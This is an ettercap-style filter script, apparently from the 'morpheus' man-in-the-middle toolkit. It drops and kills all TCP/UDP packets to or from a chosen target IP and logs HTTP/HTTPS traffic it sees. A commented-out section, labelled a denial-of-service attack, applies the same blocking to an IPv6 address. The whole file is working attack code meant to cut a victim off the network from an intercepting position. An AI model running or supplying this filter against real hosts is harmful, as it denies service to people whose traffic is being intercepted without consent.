############################################################################
#                                                                          #
#  HTTPS Request/Response Filter                                           #
#  based on code from ALoR & NaGA                                          #
#                                                                          #
#  This program is free software; you can redistribute it and/or modify    #
#  it under the terms of the GNU General Public License as published by    #
#  the Free Software Foundation; either version 2 of the License, or       #
#  (at your option) any later version.                                     #
#                                                                          #
############################################################################


##
#  This filter will drop (kill) any packet send
#  to/from specified ip address (target ip addr)
##



#
# Filter (drop/kill) packets from source ip addr.
#
if (ip.src == 'TaRgEt') {
  msg("\n[morpheus] host:TaRgEt   [ ⊶  ]  found ..");
  msg("[morpheus] | status: block connection (src)");
  msg("[morpheus] |  info : drop target tcp/udp packet ✔");
  msg("[morpheus] |_ info : kill target tcp/udp connection ✔\n");
 drop();
 kill();
 drop();
kill();
}
#
# Filter (drop/kill) packets from destination ip addr.
#
if (ip.dst == 'TaRgEt') {
  msg("\n[morpheus] host:TaRgEt   [ ⊶  ]  found ..");
  msg("[morpheus] | status: block connection (dst)");
  msg("[morpheus] |  info : drop target tcp/udp packet ✔");
  msg("[morpheus] |_ info : kill target tcp/udp connection ✔\n");
 drop();
 kill();
 drop();
kill();
}
#
# just to be sure that target system its talking to LAN?
#
if (ip.src == 'TaRgEt' || ip.dst == 'TaRgEt') {
  if (ip.proto == TCP && tcp.src == 443 || tcp.dst == 443) {
    msg("[morpheus] host:TaRgEt   [ <> ]  port:443 [tcp] https ☆");
  }else{
  if (ip.proto == TCP && tcp.src == 80 || tcp.dst == 80) {
    msg("[morpheus] host:TaRgEt   [ <> ]  port:80  [tcp] http ☆");
  }
  }
}





##############################
## DENIAL-OF-SERVICE ATTACK ##
##############################
##
# kill IPv6 connections
# un-comment this funtion to filter any tcp/udp connections
# made to OR from target ip addr (perform D0S againts ipv6 addr)
#
#if (eth.proto == IP6 && ipv6.src == '2001:db8::1' || ipv6.dst == '2001:db8::1') {
# msg("[morpheus] host:2001:db8::1..   [ ⊶  ]  found ..");
# msg("[morpheus] | status: block connection (src/dst)");
# msg("[morpheus] |  info : drop target IPv6 tcp/udp packet ✔");
# msg("[morpheus] |_ info : kill target IPv6 connection ✔\n");
# drop();
# drop();
#kill();
#kill();
#}


